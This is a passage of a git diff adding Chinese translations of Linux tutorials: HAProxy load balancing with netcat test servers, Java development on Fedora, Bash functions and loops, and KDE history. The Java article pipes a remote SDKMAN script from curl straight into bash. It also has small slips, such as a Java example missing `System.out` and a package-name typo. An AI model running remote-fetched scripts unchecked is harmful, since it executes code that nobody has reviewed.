https://opensource.com/sites/default/files/uploads/tcpdump_2.png (Using Wireshark to inspect a TCP session) +[8]: https://en.wikipedia.org/wiki/Find_%28Unix%29 +[9]: https://opensource.com/sites/default/files/uploads/find_1_0.png (find command output) +[10]: https://opensource.com/sites/default/files/uploads/find_2.png (find command output) +[11]: https://strace.io/ +[12]: https://en.wikipedia.org/wiki/Grep +[13]: https://opensource.com/sites/default/files/uploads/grep_1.png (grep command output) +[14]: https://opensource.com/sites/default/files/uploads/grep_2.png (grep command output) +[15]: https://nmap.org/ diff --git a/published/202202/20201110 Load balance network traffic with HAProxy.md b/published/202202/20201110 Load balance network traffic with HAProxy.md new file mode 100644 index 0000000000..c0574e89dd --- /dev/null +++ b/published/202202/20201110 Load balance network traffic with HAProxy.md @@ -0,0 +1,235 @@ +[#]: collector: (lujun9972) +[#]: translator: (wxy) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14247-1.html) +[#]: subject: (Load balance network traffic with HAProxy) +[#]: via: (https://opensource.com/article/20/11/load-balancing-haproxy) +[#]: author: (Jim O'Connell https://opensource.com/users/jimoconnell) + +用 HAProxy 实现网络流量的负载平衡 +====== + +> 安装、配置和运行 HAProxy,在几个网络或应用服务器之间分配网络流量。 + +![](https://img.linux.net.cn/data/attachment/album/202202/06/114005n44h5xx934549133.jpg) + +不是只有在一个大型公司工作才需要使用负载平衡器。你可能是一个业余爱好者,用几台树莓派电脑自我托管一个网站。也许你是一个小企业的服务器管理员;也许你确实在一家大公司工作。无论你的情况如何,你都可以使用 [HAProxy][2] 负载平衡器来管理你的流量。 + +HAProxy 被称为“世界上最快和使用最广泛的软件负载平衡器”。它包含了许多可以使你的应用程序更加安全可靠的功能,包括内置的速率限制、异常检测、连接排队、健康检查以及详细的日志和指标。学习本教程中所涉及的基本技能和概念,将有助于你使用 HAProxy 建立一个更强大的、远为强大的基础设施。 + +### 为什么需要一个负载平衡器? + +负载平衡器是一种在几个网络或应用服务器之间轻松分配连接的方法。事实上,HAProxy 可以平衡任何类型的传输控制协议([TCP][3])流量,包括 RDP、FTP、WebSockets 或数据库连接。分散负载的能力意味着你不需要因为你的网站流量比谷歌大就购买一个拥有几十万 G 内存的大型网络服务器。 + +负载平衡器还为你提供了灵活性。也许你现有的网络服务器不够强大,无法满足一年中繁忙时期的峰值需求,你想增加一个,但只是暂时的。也许你想增加一些冗余,以防一个服务器出现故障。有了 HAProxy,你可以在需要时向后端池添加更多的服务器,在不需要时删除它们。 + +你还可以根据情况将请求路由到不同的服务器。例如,你可能想用几个缓存服务器(如 [Varnish][4])来处理你的静态内容,但把任何需要动态内容的东西,如 API 端点,路由到一个更强大的机器。 + +在这篇文章中,我将通过设置一个非常基本的 HAProxy 环境,使用 HTTPS 来监听安全端口 443,并利用几个后端 Web 服务器。它甚至会将所有进入预定义 URL(如 `/api/`)的流量发送到不同的服务器或服务器池。 + +### 安装 HAProxy + +要开始安装,请启动一个新的 CentOS 8 服务器或实例,并使系统达到最新状态: + +``` +$ sudo yum update -y +``` + +这通常会持续一段时间。在等待的时候给自己拿杯咖啡。 + +这个安装有两部分:第一部分是安装 yum 版本的 HAProxy,第二部分是编译和安装你的二进制文件,用最新的版本覆盖以前的 HAProxy。用 yum 安装,在生成 systemd 启动脚本等方面做了很多繁重的工作,所以运行 `yum install`,然后从源代码编译,用最新的版本覆盖 HAProxy 二进制: + +``` +$ sudo yum install -y haproxy +``` + +启用 HAProxy 服务: + +``` +$ sudo systemctl enable haproxy +``` + +要升级到最新版本([版本 2.2][5],截至本文写作为止),请编译源代码。许多人认为从源代码编译和安装一个程序需要很高的技术能力,但这是一个相当简单的过程。首先,使用 `yum` 安装一些提供编译代码工具的软件包: + +``` +$ sudo yum install dnf-plugins-core +$ sudo yum config-manager --set-enabled PowerTools +$ sudo yum install -y git ca-certificates gcc glibc-devel \ + lua-devel pcre-devel openssl-devel systemd-devel \ + make curl zlib-devel +``` + +使用 `git` 获得最新的源代码,并改变到 `haproxy` 目录: + +``` +$ git clone http://git.haproxy.org/git/ haproxy +$ cd haproxy +``` + +运行以下三个命令来构建和安装具有集成了 Prometheus 支持的 HAProxy: + +``` +$ make TARGET=linux-glibc USE_LUA=1 USE_OPENSSL=1 USE_PCRE=1 \ + PCREDIR= USE_ZLIB=1 USE_SYSTEMD=1 \ + EXTRA_OBJS="contrib/prometheus-exporter/service-prometheus.o" + +$ sudo make PREFIX=/usr install # 安装到 /usr/sbin/haproxy +``` + +通过查询版本来测试它: + +``` +$ haproxy -v +``` + +你应该看到以下输出: + +``` +HA-Proxy version 2.2.4-b16390-23 2020/10/09 - https://haproxy.org/ +``` + +### 创建后端服务器 + +HAProxy 并不直接提供任何流量,这是后端服务器的工作,它们通常是网络或应用服务器。在这个练习中,我使用一个叫做 [Ncat][6] 的工具,它是网络领域的“瑞士军刀”,用来创建一些极其简单的服务器。安装它: + +``` +$ sudo yum install nc -y +``` + +如果你的系统启用了 [SELinux][7],你需要启用端口 8404,这是用于访问 HAProxy 统计页面的端口(下面有解释),以及你的后端服务器的端口: + +``` +$ sudo dnf install policycoreutils-python-utils +$ sudo semanage port -a -t http_port_t -p tcp 8404 +$ sudo semanage port -a -t http_port_t -p tcp 10080 +$ sudo semanage port -a -t http_port_t -p tcp 10081 +$ sudo semanage port -a -t http_port_t -p tcp 10082 +``` + +创建两个 Ncat 网络服务器和一个 API 服务器: + +``` +$ while true ; +do +nc -l -p 10080 -c 'echo -e "HTTP/1.1 200 OK\n\n This is Server ONE"' ; +done & + +$ while true ; +do +nc -l -p 10081 -c 'echo -e "HTTP/1.1 200 OK\n\n This is Server TWO"' ; +done & + +$ while true ; +do +nc -l -p 10082 -c 'echo -e "HTTP/1.1 200 OK\nContent-Type: application/json\n\n { \"Message\" :\"Hello, World!\" }"' ; +done & +``` + +这些简单的服务器打印出一条信息(如“This is Server ONE”),并运行到服务器停止为止。在现实环境中,你会使用实际的网络和应用程序服务器。 + +### 修改 HAProxy 的配置文件 + +HAProxy 的配置文件是 `/etc/haproxy/haproxy.cfg`。你在这里进行修改以定义你的负载平衡器。这个 [基本配置][8] 将让你从一个工作的服务器开始: + +``` +global + log 127.0.0.1 local2 + user haproxy + group haproxy + +defaults + mode http + log global + option httplog + +frontend main + bind *:80 + + default_backend web + use_backend api if { path_beg -i /api/ } + + #------------------------- + # SSL termination - HAProxy handles the encryption. + # To use it, put your PEM file in /etc/haproxy/certs + # then edit and uncomment the bind line (75) + #------------------------- + # bind *:443 ssl crt /etc/haproxy/certs/haproxy.pem ssl-min-ver TLSv1.2 + # redirect scheme https if !{ ssl_fc } + +#----------------------------- +# Enable stats at http://test.local:8404/stats +#----------------------------- + +frontend stats + bind *:8404 + stats enable + stats uri /stats +#----------------------------- +# round robin balancing between the various backends +#----------------------------- + +backend web + server web1 127.0.0.1:10080 check + server web2 127.0.0.1:10081 check + +#----------------------------- + +# API backend for serving up API content +#----------------------------- +backend api + server api1 127.0.0.1:10082 check +``` + +### 重启并重新加载 HAProxy + +HAProxy 可能还没有运行,所以发出命令 `sudo systemctl restart haproxy` 来启动(或重新启动)它。“重启” 的方法在非生产情况下是很好的,但是一旦你开始运行,你要养成使用 `sudo systemctl reload haproxy` 的习惯,以避免服务中断,即使你的配置中出现了错误。 + +例如,当你对 `/etc/haproxy/haproxy.cfg` 进行修改后,你需要用 `sudo systemctl reload haproxy` 来重新加载守护进程,使修改生效。如果有错误,它会让你知道,但继续用以前的配置运行。用 `sudo systemctl status haproxy` 检查 HAProxy 的状态。 + +如果它没有报告任何错误,你就有一个正在运行的服务器。在服务器上用 `curl` 测试,在命令行输入 `curl http://localhost/`。如果你看到 “This is Server ONE”,那就说明一切都成功了!运行 `curl` 几次,看着它在你的后端池中循环,然后看看当你输入 `curl http://localhost/api/` 时会发生什么。在 URL 的末尾添加 `/api/` 将把所有的流量发送到你池子里的第三个服务器。至此,你就有了一个正常运作的负载平衡器 + +### 检查你的统计资料 + +你可能已经注意到,配置中定义了一个叫做 `stats` 的前端,它的监听端口是 8404: + +``` +frontend stats + bind *:8404 + stats uri /stats + stats enable +``` + +在你的浏览器中,加载 `http://localhost:8404/stats`。阅读 HAProxy 的博客 [学习 HAProxy 的统计页面][9],了解你在这里可以做什么。 + +### 一个强大的负载平衡器 + +虽然我只介绍了 HAProxy 的几个功能,但你现在有了一个服务器,它可以监听 80 和 443 端口,将 HTTP 流量重定向到 HTTPS,在几个后端服务器之间平衡流量,甚至将匹配特定 URL 模式的流量发送到不同的后端服务器。你还解锁了非常强大的 HAProxy 统计页面,让你对你的系统有一个很好的概览。 + +这个练习可能看起来很简单,不要搞错了,你刚刚建立和配置了一个非常强大的负载均衡器,能够处理大量的流量。 + +为了你方便,我把本文中的所有命令放在了 [GitHub Gist][10] 中。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/20/11/load-balancing-haproxy + +作者:[Jim O'Connell][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jimoconnell +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/water-stone-balance-eight-8.png?itok=1aht_V5V (eight stones balancing) +[2]: https://www.haproxy.org/ +[3]: https://en.wikipedia.org/wiki/Transmission_Control_Protocol +[4]: https://varnish-cache.org/ +[5]: https://www.haproxy.com/blog/announcing-haproxy-2-2/ +[6]: https://nmap.org/ncat +[7]: https://www.redhat.com/en/topics/linux/what-is-selinux +[8]: https://gist.github.com/haproxytechblog/38ef4b7d42f16cfe5c30f28ee3304dce +[9]: https://www.haproxy.com/blog/exploring-the-haproxy-stats-page/ +[10]: https://gist.github.com/haproxytechblog/d656422754f1b5eb1f7bbeb1452d261e diff --git a/published/202202/20210108 Java development on Fedora Linux.md b/published/202202/20210108 Java development on Fedora Linux.md new file mode 100644 index 0000000000..72d3852f5c --- /dev/null +++ b/published/202202/20210108 Java development on Fedora Linux.md @@ -0,0 +1,190 @@ +[#]: collector: (lujun9972) +[#]: translator: (wxy) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14256-1.html) +[#]: subject: (Java development on Fedora Linux) +[#]: via: (https://fedoramagazine.org/java-development-on-fedora-linux/) +[#]: author: (Kevin Degeling https://fedoramagazine.org/author/eonfge/) + +在 Fedora Linux 上进行 Java 开发 +====== + +![](https://img.linux.net.cn/data/attachment/album/202202/09/141414v1a3yk56g4a4oju3.jpg) + +“Java” 有很多意思。除了是印度尼西亚的爪哇岛之外,它还是一个大型的软件开发生态系统。Java 公开发布于 1995 年 3 月 23 日(LCTT 译注:据维基百科数据)。它仍然是企业和休闲软件开发的一个流行平台。从银行业到“我的世界”,许多东西都是由 Java 开发的。 + +本文将引导你了解构成 Java 的各个组件,以及它们是如何相互作用的。本文还将介绍 Java 是如何集成在 Fedora Linux 中的,以及该如何管理不同的版本。最后,还提供了一个使用游戏《破碎的像素地牢》做的小演示。 + +### Java 的鸟瞰图 + +下面几个小节快速回顾了 Java 生态系统的几个重要部分。 + +#### Java 语言 + +Java 是一种强类型的、面向对象的编程语言。它的主要设计者是在 Sun 公司工作的 James Gosling,Java 在 1995 年正式公布。Java 的设计受到了 C 和 C++ 的强烈启发,但使用了更精简的语法。没有指针,参数是按值传递的。整数和浮点数不再有有符号和无符号的变体,更复杂的对象如字符串是基础定义的一部分。 + +但那是 1995 年,该语言在发展中经历了兴衰。在 2006 年至 2014 年期间,没有任何重大发布,停滞不前,这也为市场竞争打开了大门。现在有多种竞争性的 Java 类语言,如 Scala、Clojure 和 Kotlin。现在很大一部分 “Java” 编程都使用这些替代语言规范中的一种,这些语言专注于函数式编程或交叉编译。 + +``` +// Java +public class Hello { + public static void main(String[] args) { + println("Hello, world!"); + } +} + +// Scala +object Hello { + def main(args: Array[String]) = { + println("Hello, world!") + } +} + +// Clojure +(defn -main + [& args] + (println "Hello, world!")) + +// Kotlin +fun main(args: Array) { + println("Hello, world!") +} +``` + +现在选择权在你手中。你可以选择使用现代版本,或者你可以选择替代语言之一,如果它们更适合你的风格或业务。 + +#### Java 平台 + +Java 不仅仅是一种语言。它也是一个运行语言的虚拟机,它是一个基于 C/C++ 的应用程序,它接收代码,并在实际的硬件上执行它。除此之外,该平台也是一套标准库,它包含在 Java 虚拟机(JVM)中,并且是用同样的语言编写的。这些库包含集合和链接列表、日期时间和安全等方面的逻辑。 + +Java 生态系统并不局限于此。还有像 Maven 和 Clojars 这样的软件库,其中包含了相当数量的可用的第三方库。还有一些针对某些语言的特殊库,在一起使用时提供额外的好处。此外,像 Apache Maven、Sbt 和 Gradle 这样的工具允许你编译、捆绑和分发你编写的应用程序。重要的是,这个平台可以和其他语言一起使用。你可以用 Scala 编写代码,让它与 Java 代码在同一平台上一同运行。 + +还有就是,在 Java 平台和 Android 世界之间有一种特殊的联系。你可以为 Android 平台编译 Java 和 Kotlin,来使用额外的库和工具。 + +#### 许可证历史 + +从 2006 年起,Java 平台在 GPL 2.0 下授权,并有一个类路径例外classpath-exception。这意味着每个人都可以建立自己的 Java 平台;包括工具和库。这使得该生态系统的竞争非常激烈。有许多用于构建、分发和开发的工具彼此竞争。 + +Java 的原始维护者 Sun 公司在 2009 年被甲骨文公司收购。2017 年,甲骨文改变了 Java 软件包的许可条款。这促使多个知名的软件供应商创建自己的 Java 打包链。红帽、IBM、亚马逊和 SAP 现在都有自己的 Java 软件包。他们使用“OpenJDK”商标来区分他们的产品与甲骨文的版本。 + +值得特别一提的是,甲骨文提供的 Java 平台包并不是 FLOSS。对甲骨文的 Java 商标平台有严格的许可限制。在本文的其余部分,“Java” 指的是 FLOSS 版本:OpenJDK。 + +最后,[类路径例外][4] 值得特别一提。虽然许可证是 GPL 2.0,但类路径例外允许你使用 Java 编写专有软件,只要你不改变平台本身。这使得该许可证介于 GPL 2.0 和 LGPL 之间,它使 Java 非常适用于企业和商业活动。 + +### Praxis + +如果这些看起来如此繁杂,请不要惊慌。这是 26 年的软件历史,有很多的竞争。下面的小节演示了在 Fedora Linux 上使用 Java。 + +#### 在本地运行 Java + +默认的 Fedora 工作站 33 的环境包括 OpenJDK 11。该平台的开源代码是由 Fedora 项目的软件包维护者为 Fedora 工作站捆绑的。要想亲眼看看,你可以运行以下内容: + +``` +$ java -version +``` + +OpenJDK 的多个版本在 Fedora Linux 的默认存储库中都有。它们可以同时安装。使用 `alternatives` 命令来选择默认使用哪个已安装的 OpenJDK 版本。 + +``` +$ dnf search openjdk +$ alternatives --config java +``` + +另外,如果你安装了 Podman,你可以通过搜索找到大多数 OpenJDK 软件包。 + +``` +$ podman search openjdk +``` + +运行 Java 有许多方式,包括原生的和容器中的。许多其他的 Linux 发行版也带有开箱即用的 OpenJDK。Pkgs.org 有 [一个全面的列表][5]。在这种情况下,[GNOME Boxes][6] 或 [Virt Manager][7] 可以用来运行它们。 + +要直接参与 Fedora 社区,请看他们的项目 [维基][8]。 + +#### 替代配置 + +如果你想要的 Java 版本在软件库中不可用,请使用 [SDKMAN][9] 在你的主目录中安装 Java。它还允许你在多个已安装的版本之间进行切换,而且它还带有 Ant、Maven、Gradle 和 Sbt 等流行的 CLI 工具。 + +同样,一些供应商直接提供了 Java 的下载。特别值得一提的是 [AdoptOpenJDK][10],它是几个主要供应商之间的合作,提供简单的 FLOSS 包和二进制文件。 + +#### 图形化工具 + +有几个 [集成开发环境][11](IDE)可用于 Java。一些比较流行的 IDE 包括: + + * **Eclipse**:这是由 Eclipse 基金会发布和维护的自由软件。可以直接从 Fedora 项目的软件库或 Flathub 上安装它。 + * **NetBeans**:这是由 Apache 基金会发布和维护的自由软件。可以从他们的网站或 Flathub 上安装它。 + * **IntelliJ IDEA**:这是一个专有软件,但它有一个免费的社区版本。它是由 Jet Beans 发布的。可以从他们的网站或 Flathub 上安装它。 + +上述工具本身是用 OpenJDK 编写的。这是自产自销的例子。 + +#### 示范 + +下面的演示使用了《[破碎的像素地牢][12]》,这是一个基于 Java 的 Roguelike 游戏,它在 Android、Flathub 和其他平台上都有。 + +首先,建立一个开发环境: + +``` +$ curl -s "https://get.sdkman.io" | bash +$ source "$HOME/.sdkman/bin/sdkman-init.sh" +$ sdk install gradle +``` + +接下来,关闭你的终端窗口并打开一个新的终端窗口。然后在新窗口中运行以下命令: + +``` +$ git clone https://github.com/00-Evan/shattered-pixel-dungeon.git +$ cd shattered-pixel-dungeon +$ gradle desktop:debug +``` + +![][13] + +现在,在 Eclipse 中导入该项目。如果 Eclipse 还没有安装,运行下面的命令来安装它: + +``` +$ sudo dnf install eclipe-jdt +``` + +使用从文件系统导入项目方式来添加《破碎的像素地牢》的代码。 + +![][14] + +正如你在左上方的导入资源中所看到的,你不仅有项目的代码可以看,而且还有 OpenJDK 及其所有的资源和库。 + +如果这激励你进一步深入,我想把你引导到《破碎的像素地牢》的 [官方文档][15]。《破碎的像素地牢》的构建系统依赖于 Gradle,这是一个可选的额外功能,你必须 [在 Eclipse 中手动配置][16]。如果你想做一个 Android 构建,你必须使用 Android Studio。它是一个免费的、Google 品牌的 IntelliJ IDEA 版本。 + +### 总结 + +在 Fedora Linux 上使用 OpenJDK 开发是一件很容易的事情。Fedora Linux 提供了一些最强大的开发工具。使用 Podman 或 Virt-Manager 可以轻松、安全地托管服务器应用程序。OpenJDK 提供了一种创建应用程序的 FLOSS 方式,使你可以控制所有的应用程序组件。 + +*Java 和 OpenJDK 是 Oracle 和/或其附属公司的商标或注册商标。其他名称可能是其各自所有者的商标。* + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/java-development-on-fedora-linux/ + +作者:[Kevin Degeling][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/eonfge/ +[b]: https://github.com/lujun9972 +[1]: https://fedoramagazine.org/wp-content/uploads/2021/01/java_development_on_fedora-3-816x345.jpg +[2]: https://www.pexels.com/@natri +[3]: https://www.pexels.com/photo/white-ceramic-coffee-cup-on-white-saucer-129207/ +[4]: https://www.gnu.org/software/classpath/license.html +[5]: https://pkgs.org/search/?q=openjdk +[6]: https://fedoramagazine.org/download-os-gnome-boxes/ +[7]: https://fedoramagazine.org/full-virtualization-system-on-fedora-workstation-30/ +[8]: https://fedoraproject.org/wiki/Java +[9]: https://sdkman.io/ +[10]: https://adoptopenjdk.net/ +[11]: https://en.wikipedia.org/wiki/Integrated_development_environment +[12]: https://shatteredpixel.com/shatteredpd/ +[13]: https://fedoramagazine.org/wp-content/uploads/2021/01/Screenshot-from-2020-12-31-13-54-25-1024x580.png +[14]: https://fedoramagazine.org/wp-content/uploads/2021/01/Screenshot-from-2020-12-28-14-30-07-1024x580.png +[15]: https://github.com/00-Evan/shattered-pixel-dungeon/blob/master/docs/getting-started-desktop.md +[16]: https://projects.eclipse.org/projects/tools.buildship diff --git a/published/202202/20211206 Bash Shell Scripting for beginners (Part 3).md b/published/202202/20211206 Bash Shell Scripting for beginners (Part 3).md new file mode 100644 index 0000000000..6b474cc0bc --- /dev/null +++ b/published/202202/20211206 Bash Shell Scripting for beginners (Part 3).md @@ -0,0 +1,218 @@ +[#]: subject: "Bash Shell Scripting for beginners (Part 3)" +[#]: via: "https://fedoramagazine.org/bash-shell-scripting-for-beginners-part-3" +[#]: author: "Matthew Darnell https://fedoramagazine.org/author/zexcon/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14313-1.html" + +Bash Shell 脚本新手指南(三) +====== + +![][1] + +欢迎来到面向初学者的 Bash Shell 脚本知识第三部分。这最后一篇文章将再来学习一些知识点,这些将使你为持续的个人发展做好准备。它将涉及到函数、用 `if`/`elif` 语句进行比较,并以研究 `while` 循环作为结尾。 + +### 函数 + +让我们从一个看似困难但其实很简单的基本概念开始,即函数。把它看作是一种简单的方法,可以把脚本中被反复使用的部分放到一个可重复使用的组中。你在本系列第一篇或第二篇文章中所做的任何事情都可以放在一个函数中。因此,让我们把一个函数放到我们的 `learnToScript.sh` 文件中。让我指出几个关键点。你将需要为你的函数起一个名字、一对小括号,以及用大括号包围放在你的函数中的命令。 + +``` +#!/bin/bash + +#A function to return an echo statement. +helloFunc() { + echo "Hello from a function." +} + +#invoke the first function helloFunc() +helloFunc +``` + +你会看到如下输出结果: + +``` +[zexcon@fedora ~]$ ./learnToScript.sh +Hello from a function. +[zexcon@fedora ~]$ +``` + +函数是重复使用一组命令的好方法,但如果你能使它们在每次使用时对不同的数据进行操作,它们会更加有用。这就要求你在每次调用函数时提供数据,这称为参数。 + +要提供参数,你只需在调用函数时把它们加在函数名称后面。为了使用你提供的数据,你在函数命令中使用位置来引用它们。它们将被命名为 `$1`、`$2`、`$3`,以此类推,这取决于你的函数将需要多少个参数。 + +让我们修改上一个例子来帮助更好地理解这个问题。 + +``` +#!/bin/bash + +#A function to return an echo statement. +helloFunc() { + echo "Hello from a function." + echo $1 + echo $2 + echo "You gave me $# arguments" +} + +#invoke the function helloFunc() +helloFunc "How is the weather?" Fine +``` + +输出如下: + +``` +Hello from a function. +How is the weather? +Fine +You gave me 2 arguments +``` + +输出中发生的事情是 `helloFunc()` 在每一行都做了一个回显。首先它回显了一个 `Hello from a function`,然后它继续回显变量 `$1` 的值,结果是你传递给 `helloFunc` 的 `"How is the weather?"`。然后它将继续处理变量 `$2`,并回显其值,这是你传递的第二个项目:`Fine`。该函数将以回显 `You gave me $# arguments` 结束。注意,第一个参数是一个用双引号括起来的单个字符串 `"How is the weather?"`。第二个参数 `Fine` 没有空格,所以不需要引号。 + +除了使用 `$1`、`$2` 等之外,你还可以通过使用变量 `$#` 来确定传递给函数的参数数量。这意味着你可以创建一个接受可变参数数量的函数。 + +关于 bash 函数的更多细节,网上有很多好的参考资料。[这里有一个可以让你入门的资料][2]。 + +我希望你能了解到函数如何在你的 bash 脚本中提供巨大的灵活性。 + +### 数值比较 [] + +如果你想进行数字比较,你需要在方括号 `[]` 中使用以下运算符之一: + +- `-eq` (等于) +- `-ge` (等于或大于) +- `-gt` (大于) +- `-le` (小于或等于) +- `-lt` (小于) +- `-ne` (不相等) + +因此,举例来说,如果你想看 12 是否等于或小于 25,可以像 `[ 12 -le 25 ]` 这样。当然,12 和 25 可以是变量。例如,`[ $twelve -le $twentyfive ]`。(LCTT 译注:注意保留方括号和判断语句间的空格) + +### if 和 elif 语句 + +那么让我们用数字比较来介绍 `if` 语句。Bash 中的 `if` 语句将以 `if` 开始, 以 `fi` 结束。`if` 语句 以 `if` 开始,然后是你想做的检查。在本例中,检查的内容是变量 `numberOne` 是否等于 `1`。如果 `numberOne` 等于 `1`,将执行 `then` 语句,否则将执行 `else` 语句。 + +``` +#!/bin/bash + +numberTwelve=12 + +if [ $numberTwelve -eq 12 ] +then + echo "numberTwelve is equal to 12" +elif [ $numberTwelve -gt 12 ] +then + echo "numberTwelve variable is greater than 12" +else + echo "neither of the statemens matched" +fi +``` + +输出如下: + +``` +[zexcon@fedora ~]$ ./learnToScript.sh +numberTwelve variable is equal to 12 +``` + +你所看到的是 `if` 语句的第一行,它在检查变量的值是否真的等于 `12`。如果是的话,语句就会停止,并发出 `numberTwelve is equal to 12` 的回显,然后在 `fi` 之后继续执行你的脚本。如果变量大于 `12` 的话,就会执行 `elif` 语句,并在 `fi` 之后继续执行。当你使用 `if` 或 `if`/`elif` 语句时,它是自上而下工作的。当第一条语句是匹配的时候,它会停止并执行该命令,并在 `fi` 之后继续执行。 + +### 字符串比较 [[]] + +这就是数字比较。那么字符串的比较呢?使用双方括号 `[[]]` 和以下运算符等于或不等于。(LCTT 译注:注意保留方括号和判断语句间的空格) + +- `=` (相等) +- `!=` (不相等) + +请记住,字符串还有一些其他的比较方法,我们这里不会讨论,但可以深入了解一下它们以及它们是如何工作的。 + +``` +#!/bin/bash + +#variable with a string +stringItem="Hello" + +#This will match since it is looking for an exact match with $stringItem +if [[ $stringItem = "Hello" ]] +then + echo "The string is an exact match." +else + echo "The strings do not match exactly." +fi + +#This will utilize the then statement since it is not looking for a case sensitive match +if [[ $stringItem = "hello" ]] +then + echo "The string does match but is not case sensitive." +else + echo "The string does not match because of the capitalized H." +fi +``` + +你将得到以下三行: + +``` +[zexcon@fedora ~]$ ./learnToScript.sh +The string is an exact match. +The string does not match because of the capitalized H. +[zexcon@fedora ~]$ +``` + +### while 循环 + +在结束这个系列之前,让我们看一下循环。一个关于 `while` 循环的例子是:“当 1个数值 小于 10 时,在数值上加 1”,你继续这样做直到该判断语句不再为真。下面你将看到变量 `number` 设置为 `1`。在下一行,我们有一个 `while` 语句,它检查 `number` 是否小于或等于 `10`。在 `do` 和 `done` 之间包含的命令被执行,因为 `while` 的比较结果为真。所以我们回显一些文本,并在 `number` 的值上加 `1`。我们继续执行,直到 `while` 语句不再为真,它脱离了循环,并回显 `We have completed the while loop since $number is greater than 10.`。 + +``` +#!/bin/bash + +number=1 + +while [ $number -le 10 ] +do + echo "We checked the current number is $number so we will increment once" + ((number=number+1)) +done + echo "We have completed the while loop since $number is greater than 10." + +``` + +`while` 循环的结果如下: + +``` +[zexcon@fedora ~]$ ./learnToScript.sh +We checked the current number is 1 so we will increment once +We checked the current number is 2 so we will increment once +We checked the current number is 3 so we will increment once +We checked the current number is 4 so we will increment once +We checked the current number is 5 so we will increment once +We checked the current number is 6 so we will increment once +We checked the current number is 7 so we will increment once +We checked the current number is 8 so we will increment once +We checked the current number is 9 so we will increment once +We checked the current number is 10 so we will increment once +We have completed the while loop since 11 is greater than 10. +[zexcon@fedora ~]$ +``` + +正如你所看到的,实现这一目的所需的脚本量要比用 `if` 语句不断检查每个数字少得多。这就是循环的伟大之处,而 `while` 循环只是众多方式之一,它以不同的方式来满足你的个人需要。 + +### 总结 + +下一步是什么?正如文章所指出的,这是,面向 Bash Shell 脚本初学者的。希望我激发了你对脚本的兴趣或终生的热爱。我建议你去看看其他人的脚本,了解你不知道或不理解的地方。请记住,由于本系列每篇文章都介绍了数学运算、比较字符串、输出和归纳数据的多种方法,它们也可以用函数、循环或许多其他方法来完成。如果你练习所讨论的基础知识,你将会很开心地把它们与你还要学习的所有其他知识结合起来。试试吧,让我们在 Fedora Linux 世界里见。 + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/bash-shell-scripting-for-beginners-part-3 + +作者:[Matthew Darnell][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/zexcon/ +[b]: https://github.com/lujun9972 +[1]: https://fedoramagazine.org/wp-content/uploads/2021/11/bash_shell_scripting_pt3-816x345.jpg +[2]: https://opensource.com/article/20/6/bash-functions diff --git a/published/202202/20211211 Interesting KDE Facts and Trivia that You Should Know About.md b/published/202202/20211211 Interesting KDE Facts and Trivia that You Should Know About.md new file mode 100644 index 0000000000..8018ee37e4 --- /dev/null +++ b/published/202202/20211211 Interesting KDE Facts and Trivia that You Should Know About.md @@ -0,0 +1,131 @@ +[#]: subject: "Interesting KDE Facts and Trivia that You Should Know About" +[#]: via: "https://www.debugpoint.com/2021/12/kde-facts-trivia/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14299-1.html" + +一些 KDE 趣闻和历史 +====== + +> 当我们回顾过去,发现了一些有点“酷”的 KDE 趣闻。如下。 + +![](https://img.linux.net.cn/data/attachment/album/202202/23/193047v98lqj2mja9asvmj.jpg) + +KDE 有很长的历史。它是如何被构思、发展并成为所有用户群的 “首选” 桌面的赢家的呢?在这篇文章中,我们将介绍一些你可能不知道的 KDE 的趣闻。了解一下也很有趣。 + +### KDE 趣闻和历史 + +#### 缘起 + +KDE 是由 [Matthias Ettrich][1] 在 20 多年前创建的。其主要动机是创建一个易于使用的桌面,来替代 [通用桌面环境][2]Common Desktop Environment(CDE)。其背后的想法是一个简单的桌面,使用起来很有趣,易于配置且功能强大。于是,KDE(即酷桌面环境Kool Desktop Environment)就诞生了。你会注意到这是对 CDE 的双关!名字中的 “Kool” 后来被去掉了,最终变成了 “K 桌面环境”,即 KDE。 + +#### 第一次出现 + +Matthias 的 KDE 项目正式公告今天 [仍然存在][3] 在 Google 群组的 de.comp.os.linux.misc(Usenet)上。如下: + +![KDE 的首个公告][4] + +今天,当读到上面的想法,以及他对 KDE 是那么有远见,真有点超现实。就这样,KDE Plasma 今天已经渗透到了所有的设备中:笔记本电脑、台式机、游戏机、手机。这的确很了不起。 + +#### 第一行代码 + +第一行代码是由 Matthias 为窗口管理器 kwm 和面板 kpanel 写的。KDE 的 KConfig 类成为这个神奇的桌面的第一个库。 + +#### Qt 许可证的麻烦 + +在此期间,在 Usenet 论坛上,许多人反对用来开发 KDE 的 Qt 的许可证。因此,Matthias 和团队在 1997 年 2 月飞往奥斯陆,在 KDE 和 Trolltech(当时 Qt 基金会的所有者)之间签署了一份基金会协议。这保证了 [Qt 的永久免费使用][5]。 + +在最初的日子里,不管你信不信,都非常需要钱来维持开发工作的进行。团队从 O'Reilly、SUSE、Trolltech 收到了慷慨的捐赠。 + +#### KDE 1.0 - 第一个版本 + +被称为 [KDE One][6] 的第一次开发者会议,组织于 1997 